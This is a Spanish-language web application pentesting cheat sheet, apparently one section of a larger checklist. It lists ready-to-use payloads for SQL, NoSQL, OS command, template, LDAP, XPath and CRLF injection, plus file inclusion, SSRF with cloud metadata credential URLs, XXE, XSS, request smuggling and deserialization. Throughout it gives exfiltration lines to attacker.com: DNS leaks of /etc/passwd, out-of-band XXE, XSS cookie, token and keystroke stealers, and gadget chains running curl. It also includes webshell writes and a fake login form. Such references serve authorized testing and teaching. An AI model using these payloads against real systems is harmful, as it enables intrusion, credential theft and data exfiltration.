El payload se almacena en la DB en el paso 1 y se ejecuta en el paso 2, en una operación diferente:
- Registrar usuario con nombre:
attacker'-- - El INSERT escapa correctamente: no hay inyección aquí
- Después, al cambiar contraseña:
UPDATE users SET pass='new' WHERE username='attacker'--' - El
--comenta el resto del WHERE → cambia contraseña de todos los usuarios
Authentication bypass via hash crudo (PHP md5 raw)
En PHP, md5($pass, true) retorna bytes crudos en lugar de hex. Si esos bytes contienen 'or', se escapa el contexto SQL:
admin' AND 1=0 UNION ALL SELECT 'admin','161ebd7d45089b3446ee4e0d86dbcf92'--Donde 161ebd7d45089b3446ee4e0d86dbcf92 es MD5("P@ssw0rd"). La app computa MD5(input) y lo compara con el hash inyectado — si coincide, el login es exitoso.
9.2 NoSQL Injection
MongoDB — bypass de autenticación
URL-encoded form:
username[$ne]=toto&password[$ne]=toto
username[$gt]=&password[$gt]=
login[$regex]=admin.*&pass[$ne]=x
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoJSON body:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$eq": "admin"}, "password": {"$ne": "x"}}
{"username": {"$in": ["Admin","admin","administrator"]}, "password": {"$gt": ""}}El operador $ne ("not equal") retorna todos los documentos donde el campo NO sea igual al valor. Combinado en ambos campos, retorna el primer usuario de la colección.
Extracción de datos — blind via regex
HTTP form:
username[$ne]=x&password[$regex]=^a
username[$ne]=x&password[$regex]=^ad
username[$ne]=x&password[$regex]=^admJSON:
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}Script Python para extracción automática:
import requests, string
url = "http://target.com/login"
headers = {'Content-Type': 'application/json'}
password = ""
for _ in range(32):
for c in string.printable:
if c in ['*', '+', '.', '?', '|']:
continue
payload = f'{{"username":{{"$eq":"admin"}},"password":{{"$regex":"^{password+c}"}}}}'
r = requests.post(url, data=payload, headers=headers)
if r.status_code == 200 and "welcome" in r.text.lower():
password += c
break
print(f"Password encontrado: {password}")Inyección via $where (si está habilitado)
{"$where": "this.username == 'admin' && sleep(5000)"}
{"$where": "function(){ return true; }"}Herramienta NoSQLMap:
nosqlmap --attack 1 -u "http://target.com/login"9.3 OS Command Injection
- [ ] OS command injection en todos los parámetros que parezcan procesarse en el sistema (IPs, nombres de archivo, URLs, dominios)
- [ ] RCE via Referer Header
Detección básica
Separadores de comandos:
; whoami
& whoami
| whoami
|| whoami
&& whoami
`whoami`
$(whoami)
%0a whoamiTime delay (blind):
; sleep 10
| sleep 10
& ping -c 10 127.0.0.1
; timeout 10Bypass de filtros
Sin espacios:
cat${IFS}/etc/passwdcat</etc/passwd{cat,/etc/passwd}ls%09-al%09/homeEl ${IFS} es la variable Internal Field Separator del shell — contiene espacio, tab y newline por defecto. Los corchetes {cmd,arg} son brace expansion que el shell interpreta como cmd arg.
Sin slash (/):
echo${IFS}${HOME:0:1}etc${HOME:0:1}passwd | bash${HOME:0:1} extrae el primer carácter de la variable $HOME que normalmente es /. Así se construye /etc/passwd sin escribir el slash directamente.
Hex encoding:
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bashabc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'; cat $abcComillas dentro del comando:
w'h'o'am'i
wh""oami
wh\oami
wh``oami$@ y $():
who$@ami
who$(echo am)i
who$()ami$@ se expande como lista de argumentos posicionales vacía en bash, efectivamente insertando nada. Sirve para romper patrones de detección.
Brace expansion:
{,ip,a}
{,/usr/bin/id}
{l,-lh}s
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}El último payload usa wildcards que expanden a /usr/bin/cat /etc/passwd — sin escribir el comando explícitamente.
Variable expansion:
/???/??t /???/p??s??Los wildcards del shell pueden resolver a /bin/cat /etc/passwd. Útil cuando el WAF filtra palabras completas.
Exfiltración de datos
Time-based (char a char):
time if [ $(whoami|cut -c1) == r ]; then sleep 5; fiSi la respuesta tarda 5 segundos, el primer carácter del output es r. Repetir para cada posición.
DNS-based (OOB):
nslookup `whoami`.attacker.comcurl "http://$(whoami).attacker.com"for i in $(cat /etc/passwd | base64 -w0 | fold -w30); do host "$i.attacker.com"; doneOutput redirection:
whoami > /var/www/html/output.txtLuego acceder a: https://target.com/output.txt
Argument injection (cuando no se puede ejecutar comandos directamente)
Chrome:
chrome '--gpu-launcher="id>/tmp/pwned"'SSH:
ssh '-oProxyCommand="touch /tmp/pwned"' foo@foopsql:
psql -o'|id>/tmp/pwned'wget (escribir webshell):
wget "http://evil.com/shell.php" -O /var/www/html/shell.phpSi la app ejecuta wget <user_input>, inyectar -O permite escribir un archivo en una ruta arbitraria.
Polyglot de command injection
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/Estos payloads funcionan en múltiples contextos (sin comillas, con comillas simples, con comillas dobles) simultáneamente.
Commix (automático):
commix --url="https://target.com/ping.php?ip=127.0.0.1" --level=3commix -r request.txt --os-cmd=id9.4 Server-Side Template Injection (SSTI)
- [ ] Script injection en todos los campos que parezcan renderizarse en el servidor
Detección y fingerprinting
Payloads de detección:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
[=7*7]
{{7*'7'}}La diferencia clave para distinguir Jinja2 de Twig: 49 devuelve 7777777 en Jinja2 y 49 en Twig.
Tabla de formatos por motor:
| Motor | Formato | Resultado esperado |
|---|---|---|
| Jinja2 (Python) | | 49 → 49 |
| Twig (PHP) | | 49 → 49 |
| Django (Python) | | 49 → error |
| FreeMarker (Java) | ${ } #{ } [= ] | ${7*7} → 49 |
| Velocity (Java) | #set | variable-based |
| Mako (Python) | ${ } | ${7*7} → 49 |
| ERB (Ruby) | <%= %> | <%= 7*7 %> → 49 |
| Smarty (PHP) | { } | {7*7} → 49 |
| Pebble (Java) | | 49 → 49 |
| Blade (PHP/Laravel) | | 49 → 49 |
Herramienta tplmap:
python3 tplmap.py -u "https://target.com/page?name=test" --os-shellpython3 tplmap.py -u "https://target.com/page?name=test" --os-cmd "id"Jinja2 (Python) — RCE
Básico:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Sin __builtins__:
{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ joiner.__init__.__globals__.os.popen('id').read() }}{{ namespace.__init__.__globals__.os.popen('id').read() }}{{ lipsum.__globals__["os"].popen('id').read() }}El payload con lipsum es el más corto conocido — lipsum es una función built-in de Jinja2 que tiene acceso al módulo os.
Sin guiones bajos (bypass de WAF):
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}\x5f es el encoding hex de _. Algunos WAF filtran __ pero no \x5f\x5f.
Leer archivo:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}Escribir archivo (webshell):
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/shell.php','w').write('<?php system($_GET[cmd]);?>') }}Django — leakear clave secreta:
{{ messages.storages.0.signer.key }}Django — hash de contraseña del admin:
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}{{e.user.get_username}} : {{e.user.password}}{% endfor %}Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{['id']|filter('system')}}{{['id']|map('passthru')}}{{['cat /etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}Con obfuscación (usando _charset y block):
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}FreeMarker (Java) — RCE
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}${"freemarker.template.utility.Execute"?new()("id")}Con obfuscación (usando lower_abc):
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}lower_abc convierte enteros a letras (1=a, 2=b, etc.). Este payload construye freemarker.template.utility.Execute y lo ejecuta con id.
Sandbox bypass (< v2.3.30):
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}Velocity (Java) — RCE
#set($rt = $class.forName("java.lang.Runtime"))
#set($method = $rt.getMethod("exec", $class.forName("java.lang.String")))
#set($exec = $method.invoke($rt.getRuntime(), "id"))
#set($inputStream = $exec.getInputStream())
#set($reader = $class.forName("java.io.BufferedReader").getDeclaredConstructors()[0])ERB (Ruby) — RCE
<%= system('id') %><%= `ls /` %><%= IO.popen('id').readlines() %>Smarty (PHP)
{$smarty.version}{system('id')}{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}Spring Expression Language (SpEL) — RCE
*{''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}Recuperar variables de entorno:
*{systemProperties}
*{T(java.lang.System).getenv()}9.5 File Inclusion (LFI / RFI)
- [ ] Path traversal, LFI y RFI
- [ ] File inclusion
LFI básico
?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..///////..////..//////etc/passwdNull byte (PHP < 5.3.4):
?page=../../../etc/passwd%00
?page=../../../etc/passwd%00.jpgEncodings:
?page=%2e%2e%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwdPath truncation (PHP, inputs >4096 bytes se truncan):
?page=../../../etc/passwd/././././././././././././././[más caracteres hasta llegar a 4096]LFI → RCE
Log poisoning con User-Agent:
curl -s -A "<?php system(\$_GET['cmd']); ?>" https://target.com/Luego incluir el log:
?page=../../../var/log/apache2/access.log&cmd=id
?page=../../../var/log/nginx/access.log&cmd=idEl User-Agent se guarda en el access log sin escapar. Al incluir el archivo de log via LFI, el PHP se ejecuta.
PHP wrappers:
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=string.rot13/resource=index.php
?page=data://text/plain,<?php system($_GET['cmd']);?>&cmd=id
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
?page=expect://idphp://filter con convert.base64-encode permite leer el código fuente PHP del servidor en base64, sin ejecutarlo.
Vía /proc/self/environ:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" https://target.com/Luego:
?page=../../../proc/self/environ&cmd=idRFI
?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.txt%00
?page=http:%252f%252fattacker.com%252fshell.txtWindows SMB (cuando allow_url_include=Off):
?page=\\attacker.com\share\shell.phpArchivos interesantes para LFI
Linux:
/etc/passwd
/etc/shadow
/etc/hosts
/etc/crontab
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/1
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/mail.log
~/.ssh/id_rsa
~/.bash_history
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.phpWindows:
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\config.php
C:\Windows\System32\drivers\etc\hosts
C:\Users\Administrator\.ssh\id_rsa9.6 Directory / Path Traversal
Payloads
Básico:
../../../etc/passwd
..\..\..\Windows\win.iniURL encoded:
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdDoble URL encoded:
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswdUnicode:
%u002e%u002e%u2215
%uff0e%uff0e%u2215Overlong UTF-8:
%c0%ae%c0%ae%c0%af
%e0%40%ae%e0%40%ae%c0%afMangled (bypass de filtros que eliminan ../):
..././
...\/
....//....//....//etc/passwdNull byte:
../../../etc/passwd%00.jpg
../../../etc/passwd\x00.pngBypass de validación de inicio de path:
/var/www/images/../../../etc/passwdSi la app valida que el path empiece con /var/www/images/, este payload lo satisface y luego navega fuera con ../.
NGINX + Tomcat (..;/):
..;/..;/..;/etc/passwdNGINX interpreta ..;/ como directorio y hace forward a Tomcat, que lo interpreta como /../.
Herramienta dotdotpwn:
perl dotdotpwn.pl -h target.com -m http -o unix -f /etc/passwd -q9.7 SSRF
- [ ] SSRF en puertos abiertos descubiertos previamente
- [ ] HTTP header injection en GET y POST (X-Forwarded-Host)
Payloads básicos
Loopback:
http://localhost/admin
http://127.0.0.1/admin
http://0.0.0.0/admin
http://[::]:80/
http://0/admin
http://127.1
http://127.0.1Bypass — codificación de IP
Decimal:
http://2130706433/ (127.0.0.1)
http://3232235521/ (192.168.0.1)
http://2852039166/ (169.254.169.254)Octal:
http://0177.0.0.1/ (127.0.0.1)
http://0251.0376.0251.0376 (169.254.169.254)Hex:
http://0x7f000001/ (127.0.0.1)
http://0xa9fea9fe/ (169.254.169.254)IPv6:
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::1]
http://ip6-localhostBypass via dominios
| Dominio | Resuelve a |
|---|---|
localtest.me | ::1 |
localh.st | 127.0.0.1 |
target.com.127.0.0.1.nip.io | 127.0.0.1 |
spoofed.redacted.oastify.com | 127.0.0.1 |
DNS rebinding:
make-1.2.3.4-rebind-169.254.169.254-rr.1u.msEl dominio alterna entre una IP real y la IP objetivo. En la primera resolución DNS pasa el filtro; en la segunda (cuando el servidor hace la request) resuelve a la IP protegida.
r3dir — servicio de redirect:
https://307.r3dir.me/--to/?url=http://localhost:8080/adminBypass via URL parsing
http://evil.com@127.0.0.1/
http://127.0.0.1#target.com
http://target.com.evil.com/
http://127.0.0.1%60target.comBypass PHP filter_var():
0://evil.com:80;http://127.0.0.1:80/Metadata cloud
AWS EC2 IMDSv1:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyAWS IMDSv2 (requiere PUT primero para obtener token):
curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/tokenUsar el token obtenido:
curl -H "X-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/AWS ECS (si se tiene acceso a /proc/self/environ):
http://169.254.170.2/v2/credentials/<UUID>El UUID está en la variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI del entorno.
AWS Lambda:
http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/nextGCP (requiere header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-idAzure (requiere header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Oracle Cloud:
http://169.254.169.254/opc/v1/instance/Protocolos alternativos
file://:
file:///etc/passwd
file:///C:/Windows/win.inidict:// (para interactuar con servicios como Memcached o Redis):
dict://127.0.0.1:11211/stat
dict://127.0.0.1:6379/infogopher:// (para enviar paquetes raw a cualquier servicio TCP):
python gopherus.py --exploit redispython gopherus.py --exploit mysqlGopherus genera URLs gopher:// para interactuar con Redis, MySQL, SMTP y otros servicios sin autenticación expuestos internamente.
SSRF para port scan interno:
ffuf -u "https://target.com/fetch?url=http://127.0.0.1:FUZZ/" -w <(seq 1 65535) -mc 200 -t 50Herramientas:
python3 ssrfmap.py -r request.txt -p url --module readfiles,redisinteractsh-client -v9.8 XXE Injection
- [ ] XXE en cualquier request, cambiar content-type a text/xml
XXE básico — lectura de archivos
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>Windows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root><data>&xxe;</data></root>Para SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>Blind XXE — OOB via DTD externo
Payload en el request vulnerable:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;]>
<root/>evil.dtd alojado en el servidor del atacante:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;%eval crea una nueva entidad %exfil que hace una request HTTP con el contenido del archivo como parámetro.
Blind XXE — via mensaje de error
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;Intentar cargar un archivo que no existe con el contenido del target en la ruta genera un error que incluye ese contenido en el mensaje.
XXE via XInclude (sin control del DOCTYPE)
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>Útil cuando la aplicación inserta el input del usuario dentro de un documento XML existente y no se puede controlar el DOCTYPE.
XXE via SVG upload
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="16" font-size="16">&xxe;</text>
</svg>XXE via imagen en LibreOffice/Word (formato XML):
mkdir -p xxe_docx/word
echo '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>' > xxe_docx/word/document.xml
cd xxe_docx && zip -r ../xxe.docx . && cd ..DTD local (cuando OOB está bloqueado)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<root/>Si el servidor no puede hacer requests externas, se reutiliza un DTD ya presente en el sistema del servidor.
Cambiar Content-Type a XML
Content-Type: application/json → Content-Type: application/xmlCuerpo:
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>9.9 XSS — Cross-Site Scripting
- [ ] Reflected XSS
- [ ] Stored XSS
- [ ] HTTP header injection en GET y POST
- [ ] Identificar todos los datos reflejados
Mejor práctica para PoC
En lugar de alert(1), usar:
alert(document.domain.concat("\n").concat(window.origin))Esto demuestra el dominio exacto donde ejecuta el XSS y el origen, que es crucial para evaluar el impacto real.
Para XSS almacenado donde alert() es molesto:
console.log("XSS en /search ".concat(document.domain))Payloads HTML
Script:
<script>alert(document.domain)</script>
<scr<script>ipt>alert(1)</scr<script>ipt>
"><script>alert(String.fromCharCode(88,83,83))</script>IMG:
<img src=x onerror=alert(1)>
<img src=x onerror=alert('XSS')//
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83))>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
><img src=1 onerror=alert(1)>SVG:
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg id=alert(1) onload=eval(id)>
<svg><script>alert(33)
<svg><script>alert('33')HTML5:
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<details/open/ontoggle="alert`1`">
<video/poster/onerror=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>Input oculto:
<input type="hidden" accesskey="X" onclick="alert(1)">Activar con CTRL+SHIFT+X. En navegadores modernos:
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">En contexto JavaScript:
-(confirm)(document.domain)//
;alert(1);//Bypass de filtros
Case mixing:
<sCrIpT>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>Sin paréntesis:
alert`1`
onerror=alert;throw 1337
<script>{onerror=alert}throw 1337</script>
setTimeout`alert\u0028document.domain\u0029`
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>Sin "alert" (bypass de blacklist de palabras):
eval('ale'+'rt(0)')
Function("ale"+"rt(1)")()
new Function`al\ert\`6\``
window['ale'+'rt'](1)
top['al'+'ert'](1)
(8680439).toString(30)
eval(8680439..toString(30))(983801..toString(36))Sin espacio:
<img/src='x'/onerror=alert(1)>
<svg onload=alert(1)>
<svg\x0aonload=alert(1)>
<svg\x0donload=alert(1)>
<svg\x0conload=alert(1)>Bypass de onXXX= con caracteres especiales:
<img src='1' onerror\x00=alert(0)>
<img src='1' onerror\x0b=alert(0)>
<img src='1' onerror/=alert(0)>Bypass de punto (.):
<script>window['alert'](document['domain'])</script>Bypass usando javascript: URI con encodings:
javascript:alert(1)
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
java%0ascript:alert(1)
java%0d%0ascript:alert(1)Data URI:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>XSS en Markdown:
[click](javascript:alert(document.domain))
)XSS en SVG upload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>DOM-based XSS — sinks peligrosos
document.write() → inyectar HTML directamente en el DOM
innerHTML / outerHTML → parsea HTML y ejecuta eventos inline
insertAdjacentHTML → igual que innerHTML
eval() → ejecuta JS como string
setTimeout(string) → ejecuta JS
setInterval(string) → ejecuta JS
location.href → puede aceptar javascript: URI
location.assign() → idem
window.open() → puede abrir javascript: URI
jQuery.html() → parsea HTML
$.parseHTML() → idem
document.domain → puede modificar el scopePayload para DOM XSS:
#"><img src=/ onerror=alert(2)>Explotación
Robar cookies:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
<script>new Image().src="https://attacker.com/cookie?c="+document.cookie</script>
<script>fetch('https://attacker.com/steal',{method:'POST',mode:'no-cors',body:document.cookie})</script>Robar localStorage/sessionStorage:
<script>new Image().src="https://attacker.com/?k="+localStorage.getItem('access_token')</script>Keylogger:
<img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com?k="+String.fromCharCode(e.which))},this.remove();'>UI Redressing (fake login):
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "<h1>Session expired. Please login</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>XSS para CSRF — cambiar email:
<script>
fetch('/profile')
.then(r => r.text())
.then(html => {
const token = html.match(/name="csrf"\s+value="([^"]+)"/)[1];
return fetch('/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com&csrf=' + token
});
});
</script>Bypass de CSP
JSONP si hay dominio whitelisted que lo tenga:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script><script src="https://www.youtube.com/oembed?callback=alert;"></script>Base-tag hijacking (si CSP usa 'self' con scripts relativos):
<base href="https://attacker.com/">Todos los scripts cargados con rutas relativas (<script src="/js/app.js">) se cargarán desde attacker.com.
Si script-src data: está permitido:
<script src="data:,alert(1)"></script>Iframe dentro de iframe para bypassear default-src 'self':
f=document.createElement("iframe");
f.src="/robots.txt";
f.onload=()=>{
x=document.createElement('script');
x.src='//attacker.com/xss.js';
f.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f)Herramientas:
dalfox file xss_candidates.txt --skip-bav -o dalfox_results.txtdalfox url "https://target.com/search?q=test" --blind "https://blind.interactsh.com"9.10 LDAP Injection
Bypass de autenticación:
username: *)(uid=*))(|(uid=*
username: admin)(&)
username: *)(|(password=*)
username: *)(%26Payloads de enumeración:
*
*)(&
*))%00
admin*
*()|admin*
*()|%00*Si el LDAP query es (&(uid=INPUT)(password=PASS)), inyectar *)(uid=*))(|(uid=* lo convierte en (&(uid=*)(uid=*))(|(uid=*)(password=PASS)), que retorna todos los usuarios.
9.11 XPATH Injection
Bypass de autenticación:
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
' or true() or 'Extracción blind (char a char):
' and string-length(name(/*[1]))=4 and '1'='1
' and substring(name(/*[1]),1,1)='r' and '1'='1
' and substring(//user[1]/password,1,1)='a' and '1'='1
' and count(//user)>0 and '1'='19.12 CRLF Injection
Session fixation:
/page?lang=en%0d%0aSet-Cookie:%20admin=true
/page?lang=en%0d%0aSet-Cookie:%20session=attacker_session_idXSS via CRLF:
/page?lang=en%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<svg%20onload=alert(1)>HTTP Response Splitting:
/page?lang=en%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Phished</html>Encodings alternativos:
%0d%0a (CRLF clásico)
%0a (solo LF)
%0d (solo CR)
%E5%98%8A%E5%98%8D (UTF-8 de CRLF — raro pero funciona en algunos parsers)9.13 HTTP Request Smuggling
Tipos de vulnerabilidad
CL.TE — frontend usa Content-Length, backend usa Transfer-Encoding:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDEl frontend ve Content-Length: 13 y envía 13 bytes al backend. El backend interpreta 0\r\n\r\n como fin del chunk y deja SMUGGLED en el buffer para el siguiente request.
TE.CL — frontend usa Transfer-Encoding, backend usa Content-Length:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0TE.TE — ambos soportan TE, uno ignora versiones obfuscadas:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunkedCL.0 (backend ignora Content-Length en ciertos endpoints):
POST /index.php HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 50
GET /admin HTTP/1.1
Host: target.com
Foo: xHTTP/2 Request Smuggling (H2.CL, H2.TE):
:method: POST
:path: /
:authority: target.com
content-length: 0
GET /admin HTTP/1.1
Host: internal-backend
Content-Length: 10
x=1Client-Side Desync:
fetch('https://www.target.com/redirect', {
method: 'POST',
body: `HEAD /404/ HTTP/1.1\r\nHost: target.com\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors'
}).catch(() => { location = 'https://www.target.com/' })Herramientas
python3 smuggler.py -u https://target.com/ -t CL.TE -vpython3 smuggler.py -u https://target.com/ -t TE.CL -vEn Burp Suite usar la extensión HTTP Request Smuggler para detección automática.
9.14 Insecure Deserialization
PHP
Identificar:
O:4:"User":1:{s:4:"name";s:5:"admin";}
TzoyOiJNZSI6... (base64 del anterior)Modificar objeto serializado:
O:4:"User":1:{s:5:"admin";b:0;} → cambiar b:0 a b:1php -r 'echo base64_encode(serialize(["admin" => true]));'phpggc — gadget chains para frameworks PHP:
phpggc -lphpggc Laravel/RCE1 system idphpggc Symfony/RCE4 exec "curl http://attacker.com/$(id)"phpggc --base64 Yii/RCE1 system idphpggc tiene gadget chains para Laravel, Symfony, Yii, Zend, Magento, Phalcon y más. La chain correcta depende de las librerías instaladas en el servidor.
Java
Identificar:
AC ED 00 05 (hex)
rO0AB (base64)
Content-Type: application/x-java-serialized-object
H4sIAAAAAAAAAJ (gzip+base64)ysoserial — generar payloads:
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)'java -jar ysoserial.jar URLDNS 'http://attacker.com'java -jar ysoserial.jar Groovy1 'ping -c 3 attacker.com'El payload URLDNS solo hace una request DNS — sin RCE. Es ideal para detectar la vulnerabilidad sin ejecutar código dañino.
Cadenas disponibles en ysoserial:
| Cadena | Dependencia requerida |
|---|---|
| CommonsCollections1-7 | Apache Commons Collections |
| Spring1-2 | Spring Framework |
| Groovy1 | Groovy |
| JRMPClient | JDK (sin dependencias externas) |
| URLDNS | JDK (sin dependencias) |
| Jdk7u21 | JDK 7 ≤ u21 |
Extensiones Burp para Java deserialization:
- NetSPI/JavaSerialKiller
- federicodotta/Java Deserialization Scanner
